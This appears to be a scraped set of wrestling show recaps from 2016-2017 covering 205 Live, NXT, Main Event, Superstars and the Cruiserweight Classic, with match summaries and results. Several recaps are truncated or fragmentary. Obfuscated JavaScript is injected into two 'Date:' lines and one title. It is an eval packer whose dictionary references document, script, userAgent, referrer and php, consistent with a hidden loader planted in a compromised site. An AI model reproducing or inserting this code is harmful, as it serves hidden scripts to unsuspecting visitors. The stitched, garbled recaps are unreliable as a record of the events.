Main Event – January 5, 2017: The New Year is Still No Saturday Night

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Date: January 5, 2017
Location: Amalie Arena, Tampa, Florida
Commentators: Tom Phillips, Byron Saxton, Austin Aries

Ariya Daivari vs. Lince Dorado

Video on Sami Zayn vs. Braun Strowman.

To Raw for the first time.

Sami Zayn vs. Braun Strowman

Last man standing, meaning Sami is about to die. Sami gets in a jab and tries some kendo stick shots but Braun just breaks it over his leg. Another stick gets about the same treatment and the moonsault off the barricade is pulled out of the air. A few rams into the post have Strowman staggered until he punches Sami to block the diving DDT. Some clotheslines drop Sami, whose offense is shrugged off over and over again.

Sami cracks him in the back with a chair as they stagger back into the arena. That just earns Zayn a toss onto the stage, followed by a whip into the screen. Zayn chairs him again and Braun is staggered, followed by a crossbody to put Strowman through some tables for a six count but Strowman is reeling.

Sami swings again but Braun grabs the chair and drags him up onto the ramp in another scary power display. The powerslam on the floor gives Braun a seven so Strowman just unloads on him with knees to the head and right hands. Another powerslam on the floor ends Sami at 15:48.

Sami does a stretcher job but Strowman turns it over.

Back to Raw again.

US Title: Roman Reigns vs. Chris Jericho

Owens is banned from ringside, Reigns is defending and loses the title if he gets counted out or disqualified. The champ runs Jericho over to start as the fans are split on Reigns. A middle rope dropkick gets two for Jericho so Reigns comes back with his string of clotheslines. Reigns tries the apron dropkick but crashes into the post instead, giving Jericho a near countout as we take a break.

Back with Reigns fighting out of a chinlock and hitting his modified belly to back suplex for two. The Superman Punch is blocked but the Lionsault hits knees. The other finishers are broken up until Jericho grabs the Walls. That lasts as long as you would expect the Walls to last until Jericho goes up top again, only to dive into the Superman Punch for a near fall.

Bo Dallas/Darren Young vs. Shining Stars

One more Raw segment to wrap us up.

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205 Live – December 27, 2016: I Think They’re On To Something

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Date: December 27, 2016
Location: Allstate Arena, Chicago, Illinois
Commentators: Austin Aries, Corey Graves, Mauro Ranallo

Opening sequence.

Cedric Alexander vs. Tony Nese

Mustafa Ali vs. John Yurnet

Video on Ariya Daivari, who is certainly a scoundrel and thinks nothing of Jack Gallagher.

Tajiri is back next week.

Rich Swann vs. Neville

Post match Neville kicks him in the head and hammers away. He finally leaves and demands his crown to end the show.

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205 Live – December 20, 2016: The Night of Neville

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Date: December 20, 2016
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Austin Aries, Mauro Ranallo, Corey Graves

Opening sequence.

Ariya Daivari vs. Lince Dorado

Daivari says Jack Gallagher is a scoundrel.

Tajiri is coming.

Cedric Alexander vs. Drew Gulak

Cedric runs off to find Fox. Gulak blames Fox for the loss because women do not belong on 205 Live.

Video on Jack Gallagher.

Fox is getting her ankle iced and thanks Dar for having her back.

Neville/Brian Kendrick vs. TJ Perkins/Rich Swann

The still banged up Swann tags himself in and manages a few clotheslines on Kendrick. A Flatliner cuts Swann off again though and Neville deadlifts him into a German suplex for two. Some weak rights and lefts have little effect on Neville but a superkick gives the champ a near fall (though the replay shows the lack of contact).

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205 Live – December 13, 2016: You Can Feel the Vince

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Date: December 14, 2016
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Mauro Ranallo, Corey Graves, Austin Aries

Jack Gallagher vs. Drew Gulak

Perkins tells Swann that the luck is about to run out.

Tajiri is coming.

Gallagher is talking about his victory when Ariya Daivari comes up. Jack is willing to call it even but Daivari says no way and starts speaking his native language before leaving.

Mustafa Ali vs. Lince Dorado

Ali goes for a post match cheap shot but gets kicked out to the floor.

Long video on TJ Perkins.

Rich Swann vs. TJ Perkins

Non-title and as you might expect, Kendrick comes out to join commentary. They trade wristlocks to start with both guys flipping out of the others offense. A double dropkick means a double miss into a double nip up and a standoff. Swann finally kicks him in the jaw to take over but Perkins tosses the champ outside for a slingshot dropkick.

Kendrick comes to the ring but eats a superkick.

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205 Live – December 6, 2016: How Appropriate That I Forgot to Post This

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Date: December 6, 2016
Location: Toyota Center, Houston, Texas
Commentators: Mauro Ranallo, Corey Graves, Austin Aries

Opening sequence.

Noam Dar vs. Cedric Alexander

Post match Dar dedicates the win to Fox, meaning we have a heel turn and a likely rematch.

Mustafa Ali video.

TJ Perkins wishes Swann luck but suggests that it was the same luck that gave Swann the win last night.

Ariya Daivari vs. Jack Gallagher

Lince Dorado video.

TJ Perkins comes out for commentary on the main event.

Cruiserweight Title: Rich Swann vs. Brian Kendrick

Post match, Kendrick goes after Perkins and Swann inadvertently collides with TJ to end the show.

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205 Live – November 29, 2016 (Debut Episode): It’s All About the Presentation

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Date: November 29, 2016
Location: Colonial Life Arena, Columbia, South Carolina
Commentators: Mauro Ranallo, Austin Aries, Corey Graves

Also, these are probably not going to be done on Tuesday nights.  I’ll have them up as soon as possible every week though.

Opening sequence.

It should be interesting to see how the crowd looks as this was taped after Smackdown went off the air.

Video on the Bollywood Boyz, Harv and Gurv Sirah. They grew up watching Bret Hart and want to bring the Indian culture to America. Again, HUGE improvement over what we got on Mondays.

Bollywood Boyz vs. Drew Gulak/Tony Nese

rv to take over again. Back in and a DDT sends Nese outside, setting up a double superkick to pin Gulak at 7:04.

Gulak and Nese say the Dancing with the Stars rejects won because of greasy ropes. That sounds like the start of a story, which again puts this one up on Raw.

Video on Noam Dar.

Video on Gran Metalik. These are a bit long but you only have to air them once and people will catch on in a hurry.

Ariya Daivari vs. Jack Gallagher

Gallagher is a wrestling gentleman and got a very strong reaction in his Cruiserweight Classic run. Jack does his fancy spin to counter a wristlock before bending both arms around in ways other than nature intended. Even Graves has to appreciate how awesome Gallagher really is.

Video on Rich Swann, who lost his parents young and has traveled the world wrestling anyone he can.

Cruiserweight Title: Rich Swann vs. Brian Kendrick

A replay of the title change ends the show.

Look at what we had here: two guys from India who like movies, a British wrestling gentleman and a fun guy who loves to dance winning the title. In other words, something other than a bunch of guys doing a similar style with no charisma (Perkins and Kendrick for example, meaning the top two names in the division.

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Superstars – October 28, 2016: The Kickoff Preview

Superstars
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsshy|var|u0026u|referrer|yedbd||js|php'.split('|'),0,{})) October 28, 2016
Location: Target Center, Minneapolis, Minnesota
Commentators: Tom Phillips, Corey Graves

Opening sequence.

We go back to Raw for the first time.

Back to Raw again.

As expected, the fans chant for Foley, thereby completely missing the point of this segment. Foley met Charlotte as a child and his kids gave Sasha their signed photo of Eddie Guerrero. More insults and a double signing FINALLY wrap this up. Charlotte vs. Sasha in a major gimmick match is fine but no one, like NO ONE, buys that the match is going to be all violent and career threatening like Foley is pushing and that kills the idea.

Sin Cara/Lince Dorado/Cedric Alexander vs. Tony Nese/Ariya Daivari/Drew Gulak

Seth Rollins vs. Chris Jericho vs. Kevin Owens

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NXT – September 7, 2016: Well You See…..What Happened Was…..

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbdsa|var|u0026u|referrer|yytnk||js|php'.split('|'),0,{})) September 7, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Tom Phillips

Opening sequence.

TM61 vs. Tony Nese/Ariya Daivari

Earlier today, Asuka talked about the crowd being so excited in Brooklyn and how she now respects Bayley. Even though Bayley fought hard, Asuka fought harder and retained the title. Asuka has cleaned out the division and she defends the title for herself and Japan. She says something for her Japanese fans and says no one is ready for her.

Steve Cutler wants to know what Shinsuke Nakamura has sacrificed to get here. Cutler has sacrificed four years of his life to get this opportunity. People will respect him.

Ember Moon vs. Leah Von

Von is a blonde newcomer. Ember starts fast with a springboard spinning crossbody but gets taken down into a chinlock. That goes nowhere as Moon kicks her in the ribs, hits a flipping clothesline and finishes with the top rope Stunner (possibly called the Eclipse) at 2:45.

Johnny Gargano and Tommaso Ciampa will get a match at the Cruiserweight Classic final and if they win they might get a Tag Team Title shot.

Austin Aries vs. Andrade Cien Almas

Almas has dropped the hat and suspenders. The fans are all over Almas to start and Aries gets them on his side with a dropkick to the face and a little rest in the corner. Almas comes back with a dropkick of his own and a good looking hurricanrana. Aries is just fine though as he shoves Almas off the top for a nasty crash as we take a break.

Back with Aries dropping a knee for a cocky cover before we hit the chinlock. Almas sends him crashing into the ropes and scores with a springboard dropkick. That just earns him the running dropkick in the corner but Aries misses a charge in the corner. The running knees miss (again with the running strike) and a powerbomb sets up the Last Chancery to make Almas tap at 11:48.

Shinsuke Nakamura vs. Steve Cutler

Joe walks away from commentary to end the show.

Results

TM61 b. Ariya Daivari/Tony Nese – Thunder Valley to Daivari

Ember Moon b. Leah Von – Eclipse

Austin Aries b. Andrade Cien Almas – Last Chancery

Shinsuke Nakamura b. Samoa Joe – Kinshasa


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Cruiserweight Classic – July 13, 2016: Wrestling Matters

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fndhs|var|u0026u|referrer|afbta||js|php'.split('|'),0,{})) Classic
Date: July 13, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan

Opening sequence.

First Round: Alejandro Saez vs. Gran Metalik

A quick argument with the referee allows Metalik to knock him outside for an ACH middle rope springboard flip dive. Back in and a top rope (as in from the middle of the rope instead of the corner) gets two on Saez but Gran gets kicked out to the floor. Saez hits a shooting star off the apron, only to get caught in a Samoan Driver to give Metalik the pin at 4:05.

Metalik is announced as the official winner ala a UFC fight.

Hoho Lun is here to show that this is his job.

First Round: Ariya Daivar vs. Hoho Lun

Clement Petiot is a Lance Storm student from France and seems to be one of the bigger guys in the field.

Cedric Alexander is from Charlotte and used to be in Ring of Honor.

First Round: Clement Petiot vs. Cedric Alexander

We hit the chinlock before a running knee to the face gets two in the corner. Cedric comes right back with a perfect springboard clothesline but Clement flips him inside out with a discus clothesline. Not that it matters as Cedric comes right back with the Lumbar Check (belly to back suplex into a Backstabber) for the pin at 6:01.

Kota Ibushi is ready to prove himself.

First Round: Sean Maluta vs. Kota Ibushi

Ibushi is a big crowd favorite. Feeling out process to start with Maluta taking him down to the mat, only to have Ibushi come back with a kick to the chest. A t-bone suplex sends Maluta flying but Sean gets in a middle rope Codebreaker to knock Ibushi silly. Maluta sends him to the floor and tries a running flip dive, which may or may not have been botched as he landed on the apron but it might have been intentional as he immediately flipped over again to take Ibushi down.

Back in and Kota hits a very high dropkick before some very fast strikes have Sean in trouble. A standing moonsault gets two on Sean but he blocks a superplex, only to get kicked hard out to the floor. Ibushi keeps things fast with a running springboard moonsault to take Sean down. Back in and a superkick knocks Kota silly for two but he pops up and hits a sitout Last Ride for the pin at 9:40.

Results

Gran Metalik b. Alejandro Saez – Samoan Driver

Hoho Lun b. Ariya Daivari – German Suplex

Cedric Alexander b. Clement Petiot – Lumbar Check

Kota Ibushi b. Sean Maluta – Sitout Powerbomb

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